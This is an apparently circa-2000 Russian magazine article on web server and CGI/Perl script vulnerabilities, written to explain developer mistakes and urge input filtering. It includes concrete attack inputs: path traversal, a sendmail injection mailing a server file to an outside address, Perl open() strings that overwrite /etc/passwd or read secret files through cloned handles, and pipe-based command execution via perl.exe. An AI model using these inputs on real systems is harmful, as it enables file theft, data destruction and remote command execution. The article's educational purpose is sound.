Но до некоторых пор вред от деятельности хакеров заключался лишь в утечке секретных сведений, не влекущей за собой прямых финансовых убытков. Сегодня же в Интернете идет интенсивное развертывание систем электронной коммерции, в которых вращаются вполне осязаемые деньги, поэтому остро встает вопрос о защите коммерческих ресурсов. Этой теме посвящено множество публикаций, но возникающие в связи с ней вопросы пока так и остаются без ответа. В данной статье предпринята попытка проанализировать причины того, почему хакерам удалось осуществить некоторые взломы, и предлагаются возможные варианты защиты.

Под атакой на Web-сервер подразумевается нарушение нормальной работоспособности узла, удаление или модификация его содержимого или получение привилегированного доступа к машине. В соответствии с этим все атаки можно разделить на две группы — во-первых, связанные с ошибками администрирования (например, разрешение методов PUT и DELETE, позволяющих удаленному пользователю редактировать и удалять странички с сервера); во-вторых, связанные с ошибками программной реализации сервера.

Отдельным пунктом идет безопасность скриптов* и активных серверных приложений. Разумеется, они тоже могут разрушить содержимое сайта, но повлиять на сервер больше, чем предусмотрено отведенными администратором правами, оказываются не в состоянии.

Наибольшую опасность представляют атаки, базирующиеся на ошибках программных реализаций HTTP-серверов, которые потенциально могут привести к захвату полного контроля над машиной и получению привилегий администратора. Особенно это характерно для UNIX-подобных операционных систем, предоставляющих серверным приложениям наивысшие привилегии. Распространенный источник ошибок — использование сервером системных вызовов операционной системы с передачей параметров, полученных от пользователя. Такая опасность просматривалась еще в первых спецификациях протокола HTTP, но не обратила на себя внимания разработчиков.

Из соображений безопасности по HTTP не предоставляется доступ к натуральным каталогам. Вместо этого клиент работает с виртуальными директориями, которых может вообще не существовать на диске. Точнее говоря, соответствие между видимой и действительной файловой структурой далеко не однозначное и зависит от настройки Web-сервера.

Теоретически можно организовать собственную файловую систему поверх уже существующей, что сделает принципиально невозможным пагубное воздействие извне на ресурсы операционной системы (разумеется, при отсутствии ошибок реализации), но практически всегда программисты, стремясь облегчить себе жизнь, используют менее затейливые алгоритмы, так или иначе сводящиеся к ретрансляции имен и их последующей обработке операционной системой.

Например, HTTP-сервер может быть настроен так, чтобы запрос «GET /» переадресовывался в «C:\wwwroot\». Программно это реализуется тривиальным слиянием двух строк. Данный механизм работает нормально до тех пор, пока атакующий не догадается воспользоваться командой перехода на один уровень вверх, послав вполне корректный с точки зрения операционной системы запрос «GET ../». Такая ошибка была обнаружена, например, в ранних версиях Microsoft Personal Web Server.

В настоящее время разработчики используют различные системы программных фильтров, предназначенных для предотвращения подобных ситуаций. Иногда это приводит к забавным казусам. Так, дополнительные символы «/» могут вызвать непредсказуемое поведение некоторых серверов — от предоставления несанкционированного доступа до полного «зависания».

Ошибки такого типа относятся к досадным промахам разработчиков и обычно никакого интереса не представляют. В самом деле, шансы встретить на произвольно взятом узле требуемую для атаки конфигурацию очень малы и продолжают уменьшаться с каждым днем с момента опубликования информации об ошибке.

Гораздо большую опасность представляют концептуальные слабые места, одинаково уязвимые на любых платформах, операционных системах и серверах. Одним из недостатков протокола HTTP является неограниченный размер заголовка запроса. А ведь для его хранения и обработки требуется некоторое количество памяти и процессорного времени! Забросав сервер огромными бессмысленными (или осмысленными — это роли не играет) заголовками, можно значительно ухудшить его производительность, вплоть до полного отказа в обслуживании остальных клиентов.

Первыми предупредить такие атаки постарались разработчики Apache, добавив новую директиву LimitRequestFields, ограничивающую максимальное количество полей в заголовке запроса. К сожалению, остальные производители не проявили подобной оперативности, и до сих пор некоторые серверы могут быть блокированы этим способом (например, посылкой шквала запросов на один и тот же сервер с разных IP-адресов при использовании подмены своего IP-адреса).

Другое уязвимое место HTTP-серверов связано с криптозащитой механизмов аутентификации. Для предотвращения лобовой атаки процедура (или, в терминах языка Си, функция) проверки пароля требует солидного объема вычислений и, следовательно, значительного процессорного времени. Поэтому вызвать перегрузку сервера можно посылкой огромного множества запросов с очень длинной строкой зашифрованного пароля в заголовке. Правда, к июлю 2000 г. (когда писалась эта статья) не было известно ни одного случая такой атаки, однако это не повод успокоиться.

Но если уязвимые места серверов («дыры») элементарно исправляются выпущенной производителем корректировкой («заплатой»), то ошибки в скриптах устранить не так просто. Очень трудно создать внутренне непротиворечивую систему обработки пользовательского ввода, предусматривающую и отсекающую все потенциально опасные шаги злоумышленника. Большинство программистов рассчитывают на лояльного клиента, обращающегося со скриптом «как нужно» и «как того требует здравый смысл».

Классическое подтверждение тому — код, отправляющий письмо по адресу, указанному пользователем (встречается практически в любой регистрационной Web-форме). В UNIX-системах для этого часто используется вызов приложения SendMail с передачей адреса назначения в командной строке. Благодаря своей простоте эта схема заслужила большую популярность и как будто работала нормально... пока однажды кому-то не пришла в голову мысль использовать конвейер для копирования файлов, доступ к которым при нормальном ходе вещей невозможен. Другими словами, злоумышленник вместе с адресом передал SendMail’у свои команды, приказывающие послать такой-то файл по такому-то адресу. Почтовый «демон» SendMail, имеющий в большинстве случаев наивысшие привилегии в системе и доступ ко всем файлам сервера, выполняет это требование не задумываясь! Так, достаточно ввести в качестве своего адреса нечто вроде «Hack2000@mail. ru;mail Hack2000@ mail.ru

Какую ошибку допустил разработчик? Он надеялся на послушного пользователя, вводящего именно те данные, на которые рассчитывал программист. Психологическая инерция, т. е. подсознательное стремление людей отбросить любые варианты, не отвечающие их жизненному опыту, в очередной раз оказала медвежью услугу. Приведенным примером лишний раз подтверждается, что никакие, даже самые нелепые, комбинации нельзя игнорировать. Разработчик должен исходить не из убеждения, как нужно использовать скрипт, а из того, как можно его использовать.

Хакеры принадлежат к особой группе людей, для которых характерна ослабленная инерция мышления. За чисто количественным различием скрывается принципиальная разница — такой склад мышления ничего не принимает на веру и не подвержен догматизму. Если обычные люди стремятся найти объяснение некоему наблюдаемому явлению, то людей с нетрадиционным мышлением привлекает обратный процесс. Мышление первых можно уподобить схеме жизненный опыт (явление) -> объяснение, т. е. каждое явление осмысливается на основании уже имеющегося жизненного опыта. Мышление вторых обратно — на основе наблюдаемого явления они формируют свой жизненный опыт.

Проблема обычного мышления заключается в том, что одностороннее объяснение воспринимается как правильное и в дальнейшем становится настолько привычным, что и в голову не приходит его перепроверить или рассмотреть под другим углом зрения. Например, бытует мнение, что трудность поиска ошибок увеличивается с ростом сложности кода. На самом же деле наиболее сложным является анализ крохотных приложений, порой укладывающихся в десяток строк. Самые коварные ошибки оказываются лежащими на поверхности, тогда как психологическая инерция заставляет в их поиске устремляться вглубь.

Так, давным-давно для UNIX был написан простенький командный файл «test-cgi», позволяющий с помощью «echo»** контролировать переданные серверу переменные окружения. Казалось, здесь просто не в чем ошибиться, поэтому данный скрипт прилагался ко многим Web-серверам и приобрел широкое распространение. Администраторы без малейших опасений помещали его в «/cgin-bin» и открывали доступ всем желающим. В конечном счете это привело к внезапному росту количества взломов. Механизм атаки заключался в подсовывании внешне безобидному скрипту «test-cgi» символа-джокера. Команда «echo» интерпретировала это как указание вывести список файлов, отвечающих заданному шаблону.

Например, список всех остальных скриптов в текущем каталоге можно было вывести так: «GET /cgi-bin/test-cgi?**». На первый взгляд ничего ужасающего. На самом же деле это открывает двери для целенаправленной атаки. В сочетании с описанной выше «дырой» «SendMail» становится возможным получить любой файл сервера, зная его полный путь.

Проблему вскоре решили, установив кавычки вокруг «$QUERY_STRING». На какое-то время удалось защититься от хакеров, но инерция мышления опять подвела разработчиков. Считалось, что «$QUERY_STRING» — единственный параметр, который передается серверу пользователем, поэтому на все остальные не обратили никакого внимания. Чтобы показать ошибочность такого предположения, рассмотрим формат запроса еще раз: он состоит из метода, ресурса, версии HTTP. Но что такое «версия HTTP»? В первую очередь строка, причем необязательно равная «HTTP/1.x». Некоторые серверы (например, Apache) не проверяли синтаксическую корректность этого поля и охотно проглатывали любое значение! После исправления данной ошибки настал черед «REMOTE_ USER», «CONTENT_TYPE», «USER_AGENT», и до сих пор существует огромное множество старых, уязвимых версий скриптов.

Отсюда следует ряд неутешительных заключений. Нельзя полагаться ни на какие стандартные библиотеки и творения сторонних разработчиков, каждую строчку кода необходимо под всеми мыслимыми углами зрения проверять самому. Массовость и идентичность — вот основное оружие хакеров. Чтобы исследовать скрипт, нужно получить его исходный код. На правильно сконфигурированном сервере это невозможно, точнее, будем надеяться, что невозможно. Но такая защита, очевидно, не может предотвратить анализ хакером общедоступных программ. Стоит хотя бы одной из них появиться на вашем сервере, и риск успешной атаки значительно возрастет.

Возникает противоречивая ситуация. При отсутствии необходимого опыта администратору не рекомендуется программировать самому. Но и фирменные разработки содержат ошибки, которые легко могут быть использованы хакерами. Так, воистину огромное число ошибок содержится в расширениях к FrontPage (FPE).

При установке FrontPage 1.1 файлы /_vti_pvt.administrator.pwd, /_vti_pvt/authors.pwd и /_vti_pvt/service.pwd по умолчанию становятся общедоступными и не требуют от пользователя авторизации. После установки FPE на Apache открывается доступ к директории /_vti_bin с правами записи и исполнения файлов даже для неавторизированных пользователей. Обнаружить потенциально опасные серверы можно с помощью любой поисковой машины (например, «Апорт»), задав в качестве шаблона стандартное имя конфигурационного файла «_vti_inf.html».

Интуитивно кажется, что свои скрипты надежнее (какие бы ошибки ни были допущены, недоступность исходного текста программы не позволит злоумышленнику их обнаружить). Практика же подтверждает обратное, и неудивительно — программисты склонны к одним и тем же типовым ошибкам.

Например, разработчики часто используют вызов внешних программ для выполнения тех действий, реализовать которые в самом скрипте было бы невозможно или утомительно. Ничего опасного в этом нет до тех пор, пока не делается попытка передать параметры, введенные пользователем. Практически любое приложение помимо перенаправления ввода способно на огромное множество действий, часть из которых может быть вообще не документирована.

Рекомендация «отказаться от запуска внешних программ и все реализовать самостоятельно» не всегда выполнима, и разработчики прибегают к так называемой фильтрации ввода. Другими словами, к самостоятельному анализу данных с целью убедиться, что это именно то, что требуется, и ничто иное.

Впрочем, фильтрацию ввода необходимо использовать всегда, даже в том случае, когда данные никак не связаны с пользователем. Любые данные должны быть тщательно проверены до того, как будут использованы. Очень распространенная ошибка — вызов служебной подпрограммы, оформленной в виде отдельного скрипта с передачей параметров в командной строке. Почему-то разработчики склонны полагать, что скрипт всегда будет вызываться исключительно их кодом, и забывают о проверке.

Если таким образом попытаться открыть и прочитать файл, переданный как параметр, хакер сможет выполнить любой код на сервере. Причина заключается в том, что функция «open» воспринимает символ «|» как перенаправление ввода и позволяет выполнить любую команду. Например, open(H,«File |») приведет к запуску, а не открытию файла File.

Продемонстрируем вышесказанное на простом примере. Рассмотрим следующий фрагмент кода:

• open(FX,”$file”);
• while ()
• {
• print;
• }

Если значение переменной $file передается в командной строке или через переменные окружения, то злоумышленник получает возможность изменять его по своему желанию!

Может показаться, что в реальной жизни разработчики такой ошибки не допускают или если и допускают, то крайне редко. Но стоит только заглянуть на любой сайт, посвященный информационной безопасности, чтобы обнаружить регулярно появляющиеся сообщения о подобных «дырах» в самых различных скриптах. В конце 1997 г. ошибка фильтрации ввода (а точнее, полное отсутствие фильтрации) была обнаружена в известной поисковой машине Excite. Таким образом, потенциально уязвимым можно считать любой сервер, пока не будет доказано обратное.

Другая распространенная ошибка связана с оператором чтения из файла «<>» языка Perl. Обычно в угловые скобки заключается файловый манипулятор, возвращенный такой функцией, как, допустим, «open». Например:

• open(F,”$file”);
• while ()
• {
• print;
• }

Но что произойдет, если вместо манипулятора задать маску файла? В документации к Perl сказано, что такая конструкция равносильна команде «ls», известной пользователям MS-DOS под именем «dir». Как это можно использовать на практике? А вот как: найти в тексте программы то место, где манипулятор передается как параметр или берется из переменной окружения, и подменить его шаблоном файла. В результате можно получить содержимое любого из каталогов сервера.

Любопытной особенностью Perl является возможность хранения данных непосредственно в тексте программы. Для этого используется лексема «__DATA__». Содержащийся за ней текст может быть прочитан через файловый манипулятор «DATA». Такой прием часто применяется программистами для хранения конфигурационных настроек, служебных данных, а иной раз и паролей. Если есть способ воздействовать на манипулятор, то, изменив его значение на «DATA», можно получить содержимое скрытых данных.

Любопытно, что практически ни один из существующих скриптов не осуществляет фильтрации строки «DATA», даже если активно использует эту лексему в своих целях. Действительно, перенос секретных данных (таких, например, как имя пользователя и пароль) в тело программы значительно снижает риск попадания содержимого файла в руки злоумышленника (если, конечно, надеяться, что пользователю всегда возвращается результат работы скрипта).

Однако, когда такой прием используется машинально, последствия могут быть прямо противоположными. Хранение же данных в отдельном файле, независимо от установленных прав доступа, частично обеспечивает защиту за счет сокрытия имени и пути (разумеется, когда не используются стандартные или общепринятые имена, такие, например, как «data.dat»).

Напротив, манипулятор «DATA» един для всех программ и не может быть изменен разработчиком по своему усмотрению, что значительно упрощает атаку. С точки зрения безопасности хранить все секретные значения лучше непосредственно в тексте программы. Но это должна быть защищенная программа, не содержащая никаких ошибок. Иначе существует вероятность получения исходного текста с помощью... ее самой.

Переменная ‘$0’ в Perl содержит полный путь и имя к исполняемой программе. Иногда существует возможность «скормить» ее скрипту как имя файла! В зависимости от режима открытия можно не только прочитать, но и модифицировать (!) программный код.

Рассмотрим простейшую самомодифицирующуюся программу. Файлу должны быть установлены следующие права: «r w x--x -- x», другими словами, отсутствие у пользователя прав записи не помешает ему изменить программу ее же собственными руками!

• $file=”>>$0”;
• open(H,”$file”);
• print H ”\nprint ‘Hello,Sailor!’;”;
• close(H);

После первого запуска ее код будет выглядеть следующим образом (обратите внимание на подчеркнутую строку):

• $file=”>>$0”;
• open(H,”$file”);
• print H ”\nprint ‘Hello,Sailor!’;”;
• close(H);
• print ‘Hello,Sailor!’;

При всех последующих запусках сервер будет выводить на экран приветствия, число которых станет расти с каждой итерацией:

• print ‘Hello,Sailor!’; 

Нетрудно представить, какие возможности дает злоумышленнику такая «дыра», заключающаяся в отсутствии фильтрации символа ‘$’. Впрочем, ничем не лучше непосредственное указание имени файла. Поскольку разработчики практически никогда не выполняют подобной фильтрации, существует огромное множество скриптов, допускающих перезапись программного кода или HTML-документа, расположенного на сервере.

Не менее распространенной ошибкой является задание режима открытия файла по умолчанию, т. е. только на чтение. Пользуясь тем, что функция «open» интерпретирует первые символы имени файла как режим доступа, можно открыть файл на запись. Для этого достаточно указать угловую скобку «>» перед именем файла. Например, предполагается, что следующий скрипт будет использован исключительно для чтения файлов:

• open(F,”$file”);
• while ()
• {
• print;
• }

На самом же деле конструкция типа «>/etc/passwd» способна причинить значительный урон системе, ведь в момент открытия файла на запись его содержимое уничтожается. Допустим, программист явно задал режим открытия, можно ли в этом случае нарушить нормальную работу системы? Очевидно, да. Рассмотрим конструкцию open (F, «> $filename»). Если $filename присвоить значение «> file», то в результате получится open(F, «>> file») и файл будет открыт для записи, что никак не входило в планы программиста. В некоторых случаях этим способом удается обойти лимиты на объем и забить «мусором» все доступное дисковое пространство. Например, в гостевых книгах, чатах, форумах и даже при заливке файлов на сервер. Некоторые почтовые ящики с Web-интерфейсом контролируют максимально допустимый размер всего лишь один раз — до открытия файла, из-за чего такой трюк позволяет преодолеть это ограничение.

Еще одна распространенная ошибка связана с незнанием некоторыми программистами особенностей обработки символа «-». Будучи переданным в качестве имени файла, он трактуется как «STDIN» (стандартный ввод) при чтении и «STDOUT» (стандартный вывод) при записи. И вместо вывода в недоступный пользователю файл информация окажется перенаправленной прямо в окно его браузера. Впрочем, такие ситуации многократно описаны разными авторами и уже успели стать классическими. Не будем на них больше задерживаться и перейдем к вещам действительно серьезным.

Как уже отмечалось, при использовании стандартных скриптов рекомендуется изменять имена всех файлов, особенно содержащих секретную информацию. В совокупности с правильной фильтрацией ввода, отсекающей все попытки просмотра содержимого директории, это в значительной степени снижает вероятность успешной атаки (по крайней мере, теоретически).

Но злоумышленнику вовсе не обязательно знать имя файла, достаточно воспользоваться клонированием файловых манипуляторов. Рассмотрим следующий пример:

• #....
• open(AH,”BH,”<$file”);
• while (<BH>)
• {
• print;
• }

Предположим, что имя секретного файла «passwd» изменено до неузнаваемости и не может быть найдено методом перебора. Будет ли в таком случае владелец скрипта в безопасности? Разумеется, нет. Разработчиком допущена грубая ошибка, позволяющая пользователю получить содержимое файла «passwd» (как бы он там ни назывался).

Атака базируется на неизменности имени манипулятора «AH». Секретный файл открывается в одной ветви программы, а где-то совершенно в другой ветви выводится на экран содержимое некоего файла, имя которого извлекается из командной строки. Разработчик явно указывает режим доступа и даже проверяет, не пытается ли кто заглянуть в секретный файл, но... при этом он допускает грубую ошибку. Конечно, если действовать «в лоб», то ничего не получится:

• GET /cgi-bin/cpyfh.pl?passwd
• Goodby, Hacker!

Но если запустить файл с параметром «&AH», то на экране появится список всех пользователей и паролей! Как такое могло произойти? Разберем весь процесс «по косточкам». Вызов типа «open(F1,«x&F2»)»*** приводит к клонированию манипулятора F2 в F1. Строка «open (BH, «<$file»)» приобретает вид «open (BH, «<&AH»)», поэтому конструкция «while » становится равносильна «while » и читает содержимое секретного файла, имя которого злоумышленнику знать совершенно необязательно.

Иногда выгоднее использовать псевдонимы (alias), создаваемые с помощью конструкции «x&=». При этом оригинальный файловый манипулятор на момент создания псевдонима может и не существовать. Если в приведенной программе переставить строки, чтобы она выглядела так, как указано ниже, то попытка клонирования ни к чему не приведет, но псевдонимы по-прежнему будут работать.

• $file=$ARGV[0];
• if ($file =~ /passwd/) { die
”Goodby, Hacker!\n”;}
• #...
• open(BH,”<$file”);
• #....
• open(AH,”
• #...
• while ()
• {
• print;
• }

Это очень распространенная ошибка, встречающаяся в огромном количестве скриптов. Атаку предотвращает фильтрация символа «&», но ее выполняют далеко не всегда.

Точно так же часто забывают, что сокеты с точки зрения подсистемы ввода-вывода — это обычные файлы, корректно работающие с операторами «print» и «<>», а также с «sysread» и «syswrite».

Это дает возможность подмены файлового манипулятора открытым сокетом и наоборот. Рассмотрим простейший пример: пусть скрипт устанавливает соединение с некоторым сервером (совершенно неважно, с каким именно и по какому протоколу), и в результате ошибки программиста позволяет пользователю задавать собственный манипулятор. Допустим также, что исходный код программы доступен и имя сокета известно. Тогда ничего не стоит осуществить подмену!

• socket(POP3, PF_INET(), SOCK_
STREAM(), getprotobyname(”tcp”));
• connect(POP3, sockaddr_in(110,inet_
aton(‘zmail.ru’)))
• $file=$ARGV[0];
• $x=<$file>;
• print $x;
• close(POP3);
• GET /cgi-bin/exchsc.pl?POP3
• +OK CommuniGate Pro POP3 Server 3.2.4
ready <1731731.956833213@backend1.aha.ru>

В результате уязвимый скрипт может быть использован для удаленной атаки от имени владельца сервера (например, для массовой почтовой рассылки корреспонденции). Конечно, атакующий будет очень ограничен в своих возможностях. Стесненный уже существующим соединением с конкретным сервером по заданному протоколу, он, скорее всего, не сможет причинить значительного ущерба. Опасность возникнет лишь в том случае, когда соединение станет доступно постороннему лицу, после аутентификации. Тогда возможны самые удручающие для владельца сервера последствия. Не спасет даже защищенное соединение (например, SSL), потому что перехват осуществляется до шифровки данных. Появляется угроза фальсификации передаваемой клиенту информации и хищения вводимых клиентом паролей, номеров кредитных карт и т. д.

Может показаться, что обсуждаемые вопросы оторваны от жизни и представляют лишь академический интерес. Определенная доля правды в таком суждении есть. Программное обеспечение крупных онлайновых магазинов действительно, как правило, не содержит грубых ошибок. Во всяком случае, теперь уже не содержит. Но в Сети существует огромное количество мелких поставщиков разного рода услуг, зачастую имеющих программное обеспечение, написанное «на коленке». Атаки такого рода широкой известности пока не получили, и многие программисты ничего не знают о подобной уязвимости.

На этом можно завершить перечисление основных типов ошибок, допускаемых программистами вследствие либо психологической инерции, либо небрежности, либо еще чего-то. Наивно защищаться лишь от типовых, широко известных атак. Пускай именно они составляют подавляющее большинство сетевых инцидентов, но всегда находились и находятся люди с нетривиальным мышлением, не вписывающимся ни в какие стандартные рамки.

Огромную опасность представляют недокументированные (или плохо документированные и малоизвестные) особенности интерпретаторов, и Perl в этом смысле не является исключением. С его реализацией на PC-платформе связан один громкий скандал. Фирма Netscape по некоторым причинам не поддержала в своем сервере ассоциации файловых расширений с исполняемыми приложениями. Вместо этого она предлагала «волшебное» решение: вручную указывать требуемое приложение в самом URL. Так, вызывать «hello.pl» приходилось так: http://NetscapeServer/cgi-bin/ perl.exe?hello.pl. С первого взгляда ничем, кроме недовольного ворчания Web-мастеров, это не чревато. Но уже беглое изучение документации по PC-версии Perl доказывает обратное. Особенность обработки командной строки приводит к тому, что на сервере может быть исполнена любая команда от имени интерпретатора. Достаточно воспользоваться конвейером, т. е. конструкцией вида «| команда».

Например, наберем в командой строке MS-DOS следующее: «perl xxx|dir», где «xxx» — имя любого, даже необязательно существующего, скрипта. Сперва интерпретатором будет предпринята попытка запустить «xxx», а затем, независимо от успешности предыдущей операции, будет выполнена команда «dir». Точно так же можно запустить любую программу (например, печально известный «format.com») или скопировать любой файл с сервера.

Во всех этих случаях разработчиков подводила именно инерция мышления, т. е. убеждение, что пользователь будет вести себя именно так, как рассчитывал автор скрипта, и никак иначе. Задавая себе вопрос: «а что такого можно сделать, чтобы обойти мою защиту?», разработчик ставит себя на место взломщика. В этом и заключается ошибка, ибо никто не гарантирует, что взломщик поведет себя именно так, как было рассчитано.

ОБ АВТОРЕ

Крис Касперски — независимый эксперт, e-mail: kpnc@aport.ru


* Script — здесь: сценарий; командный файл. — Прим. ред.

** Команда вывода текста на экран, аналогичная одноименной команде MS-DOS.

*** Где «x» — режим доступа — равен «>» или «<».


До сих пор встречаются древние Apache-серверы, использующие примитивный алгоритм удаления дублирующихся символов «/». Если при сканировании адресной строки встречалась пара таких символов, то один из них удалялся. Затем все повторялось до тех пор, пока в очередном проходе происходило хотя бы одно изменение. Нетрудно оценить рост сложности вследствие увеличения числа идущих подряд символов «/» (слэшей). Время анализа пропорционально квадрату числа слэшей в строке, что позволяет осуществить атаку, приводящую к отказу в обслуживании, с помощью запроса, содержащего достаточно большое количество (порядка нескольких тысяч) повторяющихся слэшей. В современных версиях это исправлено, но далеко не все администраторы обновили свои серверы, поэтому угроза атаки типа «отказ в обслуживании» все еще остается реальной.